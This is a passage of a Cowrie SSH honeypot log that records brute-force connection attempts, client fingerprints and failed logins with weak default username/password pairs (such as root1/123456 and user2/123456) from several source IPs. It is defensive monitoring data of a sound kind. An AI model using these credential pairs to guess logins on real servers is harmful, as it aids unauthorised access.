0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:38.917162Z","src_ip":"192.109.200.78","session":"aa0dce6f955a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54466,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e082c341ba1","protocol":"ssh","message":"New connection: 159.203.92.129:54466 (159.203.135.109:22) [session: 3e082c341ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:39.009919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:39.015682Z","src_ip":"159.203.92.129","session":"3e082c341ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:39.020980Z","src_ip":"159.203.92.129","session":"3e082c341ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Members","password":"Members","message":"login attempt [Members/Members] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:39.033520Z","src_ip":"159.203.92.129","session":"3e082c341ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:39.052921Z","src_ip":"176.65.139.95","session":"1704716dc19a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:39.166304Z","src_ip":"192.109.200.78","session":"aa0dce6f955a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:40.040716Z","src_ip":"159.203.92.129","session":"3e082c341ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:40.137808Z","src_ip":"176.65.139.95","session":"1704716dc19a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:40.249349Z","src_ip":"192.109.200.78","session":"aa0dce6f955a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56742,"dst_ip":"159.203.135.109","dst_port":22,"session":"14bc6420bc8b","protocol":"ssh","message":"New connection: 192.109.200.78:56742 (159.203.135.109:22) [session: 14bc6420bc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:43.085269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:43.089888Z","src_ip":"192.109.200.78","session":"14bc6420bc8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:43.176735Z","src_ip":"192.109.200.78","session":"14bc6420bc8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:43.730570Z","src_ip":"192.109.200.78","session":"14bc6420bc8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:44.817548Z","src_ip":"192.109.200.78","session":"14bc6420bc8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49554,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f2e7bf5f665","protocol":"ssh","message":"New connection: 176.65.139.95:49554 (159.203.135.109:22) [session: 2f2e7bf5f665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:45.356547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:45.369292Z","src_ip":"176.65.139.95","session":"2f2e7bf5f665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:45.448565Z","src_ip":"176.65.139.95","session":"2f2e7bf5f665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:45.831874Z","src_ip":"176.65.139.95","session":"2f2e7bf5f665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:46.998548Z","src_ip":"176.65.139.95","session":"2f2e7bf5f665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56744,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa440a4055c2","protocol":"ssh","message":"New connection: 192.109.200.78:56744 (159.203.135.109:22) [session: fa440a4055c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:47.131112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:47.136779Z","src_ip":"192.109.200.78","session":"fa440a4055c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:47.224324Z","src_ip":"192.109.200.78","session":"fa440a4055c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:47.798276Z","src_ip":"192.109.200.78","session":"fa440a4055c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:48.887517Z","src_ip":"192.109.200.78","session":"fa440a4055c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59928,"dst_ip":"159.203.135.109","dst_port":22,"session":"32d0346610c2","protocol":"ssh","message":"New connection: 192.109.200.78:59928 (159.203.135.109:22) [session: 32d0346610c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:51.248312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:51.252841Z","src_ip":"192.109.200.78","session":"32d0346610c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:51.336327Z","src_ip":"192.109.200.78","session":"32d0346610c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:51.594645Z","src_ip":"192.109.200.78","session":"32d0346610c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41484,"dst_ip":"159.203.135.109","dst_port":22,"session":"048f55c511e6","protocol":"ssh","message":"New connection: 176.65.139.95:41484 (159.203.135.109:22) [session: 048f55c511e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:52.410700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:52.540029Z","src_ip":"176.65.139.95","session":"048f55c511e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:52.545538Z","src_ip":"176.65.139.95","session":"048f55c511e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:52.684672Z","src_ip":"192.109.200.78","session":"32d0346610c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:53.172605Z","src_ip":"176.65.139.95","session":"048f55c511e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:54.258226Z","src_ip":"176.65.139.95","session":"048f55c511e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59934,"dst_ip":"159.203.135.109","dst_port":22,"session":"5713322f3b1b","protocol":"ssh","message":"New connection: 192.109.200.78:59934 (159.203.135.109:22) [session: 5713322f3b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:55.241464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:55.339260Z","src_ip":"192.109.200.78","session":"5713322f3b1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:55.343234Z","src_ip":"192.109.200.78","session":"5713322f3b1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:55.716969Z","src_ip":"192.109.200.78","session":"5713322f3b1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:56.802683Z","src_ip":"192.109.200.78","session":"5713322f3b1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49068,"dst_ip":"159.203.135.109","dst_port":22,"session":"d789dc3cc6aa","protocol":"ssh","message":"New connection: 176.65.139.95:49068 (159.203.135.109:22) [session: d789dc3cc6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:59.136877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:59.142072Z","src_ip":"176.65.139.95","session":"d789dc3cc6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:59.220307Z","src_ip":"176.65.139.95","session":"d789dc3cc6aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55754,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8195093aef8","protocol":"ssh","message":"New connection: 192.109.200.78:55754 (159.203.135.109:22) [session: f8195093aef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:59.466607Z"}
